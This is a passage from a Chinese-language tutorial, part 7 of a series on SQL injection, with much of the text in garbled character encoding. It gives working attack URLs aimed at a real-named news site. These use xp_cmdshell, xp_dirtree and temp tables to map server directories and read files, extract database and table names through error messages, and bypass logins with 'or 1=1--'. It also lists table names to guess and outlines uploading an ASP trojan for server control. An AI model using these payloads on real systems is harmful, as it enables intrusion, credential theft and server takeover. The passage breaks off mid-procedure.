SQL注入漏洞的攻防策略(7)
GO ON~!
當上述條件不成立時就要繼續(xù)下面的步驟
(一)、發(fā)現(xiàn)WEB虛擬目錄
只有找到WEB虛擬目錄,才能確定放置ASP木馬的位置,進而得到USER權限。有兩種方法比較有效。
一是根據(jù)經(jīng)驗猜解,一般來說,WEB虛擬目錄是:c:/inetpub/wwwroot;
D:/inetpub/wwwroot; E:/inetpub/wwwroot等,而可執(zhí)行虛擬目錄是:
c:/inetpub/scripts; D:/inetpub/scripts; E:/inetpub/scripts等。
二是遍歷系統(tǒng)的目錄結構,分析結果并發(fā)現(xiàn)WEB虛擬目錄;
先創(chuàng)建一個臨時表:temp
HTTP://www.163.com/news.asp?id=xx;create table temp(id nvarchar(255),num1 nvarchar(255),num2
nvarchar(255),num3
nvarchar(255));--
接下來:
1 我們可以利用xp_availablemedia來獲得當前所有驅動器,并存入temp表中:
HTTP://www.163.com/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia;--
我們可以通過查詢temp的內容來獲得驅動器列表及相關信息
2 我們可以利用xp_subdirs獲得子目錄列表,并存入temp表中:
HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs 'c:/';--
3 我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結構,并寸入temp表中:
HTTP://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree
'c:/';--
這樣就可以成功的瀏覽到所有的目錄(文件夾)列表:
如果我們需要查看某個文件的內容,可以通過執(zhí)行xp_cmdsell:
HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'type
c:/web/index.asp';--
使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。如:bulk insert temp(id) from
'c:/inetpub/wwwroot/index.asp'
瀏覽temp就可以看到index.asp文件的內容了!通過分析各種ASP文件,可以得到大量系統(tǒng)信息,WEB建設
與管理信息,甚至可以得到SA帳號的連接密碼。
當然,如果xp_cmshell能夠執(zhí)行,我們可以用它來完成:
HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir
c:/';--
HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/
*.asp /s/a';--
通過xp_cmdshell我們可以看到所有想看到的,包括W3svc
HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc'
但是,如果不是SA權限,我們還可以使用
HTTP://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree
'c:/';--
注意:
1、以上每完成一項瀏覽后,應刪除TEMP中的所有內容,刪除方法是:
HTTP://www.163.com/news.asp?id=xx;delete from temp;--
2、瀏覽TEMP表的方法是:(假設TestDB是當前連接的數(shù)據(jù)庫名)
HTTP://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0
得到表TEMP中第一條記錄id字段的值,并與整數(shù)進行比較,顯然news.asp工作異常,但在異常中卻可
以發(fā)現(xiàn)id字段的值。假設發(fā)現(xiàn)的表名是xyz,則
HTTP://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0 where id
not in('xyz'))>0
得到表TEMP中第二條記錄id字段的值。
(二)、上傳ASP木馬
所謂ASP木馬,就是一段有特殊功能的ASP代碼,并放入WEB虛擬目錄的Scripts下,遠程客戶通過IE就
可執(zhí)行它,進而得到系統(tǒng)的USER權限,實現(xiàn)對系統(tǒng)的初步控制。上傳ASP木馬一般有兩種比較有效的方法
:
1、利用WEB的遠程管理功能
許多WEB站點,為了維護的方便,都提供了遠程管理的功能;也有不少WEB站點,其內容是對于不同的
用戶有不同的訪問權限。為了達到對用戶權限的控制,都有一個網(wǎng)頁,要求用戶名與密碼,只有輸入了正
確的值,才能進行下一步的操作,可以實現(xiàn)對WEB的管理,如上傳、下載文件,目錄瀏覽、修改配置等。
因此,若獲取正確的用戶名與密碼,不僅可以上傳ASP木馬,有時甚至能夠直接得到USER權限而瀏覽
系統(tǒng),上一步的“發(fā)現(xiàn)WEB虛擬目錄”的復雜操作都可省略。
用戶名及密碼一般存放在一張表中,發(fā)現(xiàn)這張表并讀取其中內容便解決了問題。以下給出兩種有效方
法。
A、 注入法:
從理論上說,認證網(wǎng)頁中會有型如:
select * from admin where username='XXX' and password='YYY' 的語句,若在正式運行此句之前
,沒有進行必要的字符過濾,則很容易實施SQL注入。
如在用戶名文本框內輸入:abc’ or 1=1-- 在密碼框內輸入:123 則SQL語句變成:
select * from admin where username='abc’ or 1=1 and password='123’
不管用戶輸入任何用戶名與密碼,此語句永遠都能正確執(zhí)行,用戶輕易騙過系統(tǒng),獲取合法身份。
B、猜解法:
基本思路是:猜解所有數(shù)據(jù)庫名稱,猜出庫中的每張表名,分析可能是存放用戶名與密碼的表名,猜
出表中的每個字段名,猜出表中的每條記錄內容。
a 猜解所有數(shù)據(jù)庫名稱
HTTP://www.163.com/news.asp?id=xx and (select count(*) from master.dbo.sysdatabases where
name>1 and dbid=6) <>0
因為dbid的值從1到5,是系統(tǒng)用了。所以用戶自己建的一定是從6開始的。并且我們提交了 name>1
(name字段是一個字符型的字段和數(shù)字比較會出錯),news.asp工作異常,可得到第一個數(shù)據(jù)庫名,同理把D
BID分別改成7,8,9,10,11,12…就可得到所有數(shù)據(jù)庫名。
以下假設得到的數(shù)據(jù)庫名是TestDB。
b 猜解數(shù)據(jù)庫中用戶名表的名稱
猜解法:此方法就是根據(jù)個人的經(jīng)驗猜表名,一般來說,
user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuse
r,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通過語句進行判斷
HTTP://www.163.com/news.asp?id=xx and (select count(*) from TestDB.dbo.表名)>0 若表名存
在,則news.asp工作正常,否則異常。如此循環(huán),直到猜到系統(tǒng)帳號表的名稱。
讀取法:SQL-SERVER有一個存放系統(tǒng)核心信息的表sysobjects,有關一個庫的所有表,視圖等信息全
部存放在此表中,而且此表可以通過WEB進行訪問。
當xtype='U' and status>0代表是用戶建立的表,發(fā)現(xiàn)并分析每一個用戶建立的表及名稱,便可以
得到用戶名表的名稱,基本的實現(xiàn)方法是:
①HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects
where xtype='U' and status>0 )>0
得到第一個用戶建立表的名稱,并與整數(shù)進行比較,顯然news.asp工作異常,但在異常中卻可以發(fā)現(xiàn)表的
名稱。假設發(fā)現(xiàn)的表名是xyz,則
?、贖TTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects
where xtype='U' and status>0 and
name not in('xyz'))>0 可以得到第二個用戶建立的表的名稱,同理就可得到所有用建立的表的名稱。
根據(jù)表的名稱,一般可以認定那張表用戶存放用戶名及密碼,以下假設此表名為Admin。
c 猜解用戶名字段及密碼字段名稱
admin表中一定有一個用戶名字段,也一定有一個密碼字段,只有得到此兩個字段的名稱,才有可能
得到此兩字段的內容。如何得到它們的名稱呢,同樣有以下兩種方法。